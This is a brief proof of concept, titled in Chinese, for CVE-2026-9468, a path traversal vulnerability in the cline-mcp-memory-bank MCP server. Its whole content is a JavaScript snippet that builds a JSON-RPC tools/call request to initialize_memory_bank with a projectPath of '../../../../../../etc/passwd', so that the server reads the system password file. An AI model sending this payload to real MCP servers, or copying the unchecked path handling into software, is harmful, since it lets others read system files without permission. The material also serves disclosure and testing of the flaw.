CVE-2026-9468: cline-mcp-memory-bank路径遍历漏洞

// PoC for CVE-2026-9468: Path Traversal in handleInitializeMemoryBank // This script demonstrates a malicious request to the vulnerable MCP server. const payload = { jsonrpc: "2.0", method: "tools/call", params: { name: "initialize_memory_bank", arguments: { // Malicious projectPath using path traversal sequences to escape the directory "projectPath": "../../../../../../etc/passwd" } }, id: 1 }; console.log("Sending malicious payload:", JSON.stringify(payload, null, 2)); // If the server is vulnerable, it will read /etc/passwd instead of the intended project path.